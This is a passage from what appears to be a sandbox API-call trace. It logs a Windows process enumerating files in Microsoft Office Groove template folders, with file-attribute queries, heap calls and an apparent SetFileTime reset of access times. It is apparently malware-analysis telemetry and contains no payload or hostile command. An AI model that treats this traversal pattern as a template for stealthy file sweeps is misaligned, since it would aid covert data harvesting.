ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x873a1b00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x3983, dwReserved0=0x0, dwReserved1=0x0, cFileName="TEXTAREA.JPG", cAlternateFileName="")) returned 1 [0078.726] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x873a1b00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x873a1b00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x3a97, dwReserved0=0x0, dwReserved1=0x0, cFileName="TEXTBOX.JPG", cAlternateFileName="")) returned 1 [0078.726] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x886b4800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x886b4800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x42fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="TEXTVIEW.JPG", cAlternateFileName="")) returned 1 [0078.726] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x886b4800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5e3d2090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x886b4800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x4127, dwReserved0=0x0, dwReserved1=0x0, cFileName="UnformattedNumeric.jpg", cAlternateFileName="")) returned 1 [0078.726] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x886b4800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5e3d2090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x886b4800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x4127, dwReserved0=0x0, dwReserved1=0x0, cFileName="UnformattedNumeric.jpg", cAlternateFileName="")) returned 0 [0078.726] GetLastError () returned 0x12 [0078.726] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11bedb0) returned 1 [0078.726] FindClose (in: hFindFile=0x2e9180 | out: hFindFile=0x2e9180) returned 1 [0078.727] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11beeb8) returned 1 [0078.727] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11beca8) returned 1 [0078.727] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x886b4800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x528d0030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x886b4800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x13e, dwReserved0=0x0, dwReserved1=0x0, cFileName="FORM.ICO", cAlternateFileName="")) returned 1 [0078.727] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x886b4800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5291c2f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x886b4800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x4b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsBlankPage.html", cAlternateFileName="")) returned 1 [0078.727] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x886b4800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5291c2f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x886b4800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x7a7, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsBrowserUpgrade.html", cAlternateFileName="")) returned 1 [0078.727] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x886b4800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618c8a10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x886b4800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x805, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsDoNotTrust.html", cAlternateFileName="")) returned 1 [0078.727] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x886b4800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5291c2f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x886b4800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xc96, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsHomePage.html", cAlternateFileName="")) returned 1 [0078.727] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x886b4800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618c8a10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x886b4800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x15fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsHomePageScript.js", cAlternateFileName="")) returned 1 [0078.727] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x886b4800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5291c2f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x886b4800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x40c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsHomePageStyle.css", cAlternateFileName="")) returned 1 [0078.727] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x886b4800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618eeb70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x886b4800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x3a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsPreviewTemplate.html", cAlternateFileName="")) returned 1 [0078.727] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x886b4800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5298e710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x886b4800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x262, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsPrintTemplate.html", cAlternateFileName="")) returned 1 [0078.727] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51d354f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d547830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d547830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsTemplates", cAlternateFileName="")) returned 1 [0078.727] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11beca8 [0078.728] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formstemplates"), fInfoLevelId=0x0, lpFileInformation=0x119e628 | out: lpFileInformation=0x119e628*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51d354f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d547830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d547830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0078.729] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formstemplates"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x17c [0078.729] SetFileTime (hFile=0x17c, lpCreationTime=0x0, lpLastAccessTime=0x119e66c, lpLastWriteTime=0x119e66c) returned 0 [0078.729] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11c8048 [0078.729] DeviceIoControl (in: hDevice=0x17c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11c8048, nOutBufferSize=0x4000, lpBytesReturned=0x119e6c4, lpOverlapped=0x0 | out: lpOutBuffer=0x11c8048, lpBytesReturned=0x119e6c4, lpOverlapped=0x0) returned 0 [0078.729] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11c8048) returned 1 [0078.729] NtClose (Handle=0x17c) returned 0x0 [0078.730] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11beca8) returned 1 [0078.730] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.730] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0078.730] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11beca8 [0078.730] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.730] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11beeb8 [0078.730] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\*", fInfoLevelId=0x1, lpFindFileData=0x119e474, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e474) returned 0x2e9180 [0078.732] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51d354f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d547830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d547830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.732] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x886b4800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51d354f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x886b4800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x2021e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Customer Support.fdt", cAlternateFileName="")) returned 1 [0078.732] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.732] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.732] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.732] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.732] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.732] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11bedb0 [0078.733] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0078.733] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac1770 [0078.733] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11c0880 [0078.733] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.733] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x886b4800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x61c80c70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x886b4800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x20b43, dwReserved0=0x0, dwReserved1=0x0, cFileName="Hardware Tracker.fdt", cAlternateFileName="")) returned 1 [0078.733] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.733] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.733] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.733] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.733] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.733] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac1790 [0078.733] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11c0988 [0078.734] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.734] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x899c7500, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x899c7500, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x24051, dwReserved0=0x0, dwReserved1=0x0, cFileName="Hiring Requisition - Customized.fdt", cAlternateFileName="")) returned 1 [0078.734] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.734] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.734] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.734] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.734] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.734] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x180) returned 0xa04ba8 [0078.734] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11bedb0) returned 1 [0078.734] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac17b0 [0078.734] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x180) returned 0x9e8aa8 [0078.735] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.735] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x899c7500, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x538bb350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x899c7500, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x248db, dwReserved0=0x0, dwReserved1=0x0, cFileName="Hiring Requisition.fdt", cAlternateFileName="")) returned 1 [0078.735] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.735] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.735] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.735] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.735] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.735] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac17d0 [0078.735] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11bedb0 [0078.735] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.735] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x899c7500, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5a52fdb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x899c7500, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x17d6d, dwReserved0=0x0, dwReserved1=0x0, cFileName="POLICIES.FDT", cAlternateFileName="")) returned 1 [0078.735] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.735] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.736] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.736] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.736] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.736] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac17f0 [0078.736] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11c0a90 [0078.736] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.736] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x899c7500, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x899c7500, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x16b33, dwReserved0=0x0, dwReserved1=0x0, cFileName="Process Library.fdt", cAlternateFileName="")) returned 1 [0078.736] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.736] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.736] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.736] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.736] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.737] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac1810 [0078.737] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11c0b98 [0078.737] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.737] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x899c7500, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5abe1b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x899c7500, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x18ead, dwReserved0=0x0, dwReserved1=0x0, cFileName="Status Report.fdt", cAlternateFileName="")) returned 1 [0078.737] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.737] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.737] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.737] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.737] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.737] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac1830 [0078.737] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11c0ca0 [0078.738] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.738] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x899c7500, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d547830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x899c7500, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1e666, dwReserved0=0x0, dwReserved1=0x0, cFileName="Track Issues.fdt", cAlternateFileName="")) returned 1 [0078.738] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.738] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.738] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.738] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.738] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.738] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac1850 [0078.738] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11c0da8 [0078.739] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.739] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x899c7500, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d547830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x899c7500, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1e666, dwReserved0=0x0, dwReserved1=0x0, cFileName="Track Issues.fdt", cAlternateFileName="")) returned 0 [0078.739] GetLastError () returned 0x12 [0078.739] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\*", fInfoLevelId=0x1, lpFindFileData=0x119e474, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e474) returned 0x2e9080 [0078.739] FindClose (in: hFindFile=0x2e9180 | out: hFindFile=0x2e9180) returned 1 [0078.739] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51d354f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d547830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d547830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.739] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x886b4800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51d354f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x886b4800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x2021e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Customer Support.fdt", cAlternateFileName="")) returned 1 [0078.739] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x886b4800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x61c80c70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x886b4800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x20b43, dwReserved0=0x0, dwReserved1=0x0, cFileName="Hardware Tracker.fdt", cAlternateFileName="")) returned 1 [0078.739] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x899c7500, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x899c7500, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x24051, dwReserved0=0x0, dwReserved1=0x0, cFileName="Hiring Requisition - Customized.fdt", cAlternateFileName="")) returned 1 [0078.739] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x899c7500, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x538bb350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x899c7500, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x248db, dwReserved0=0x0, 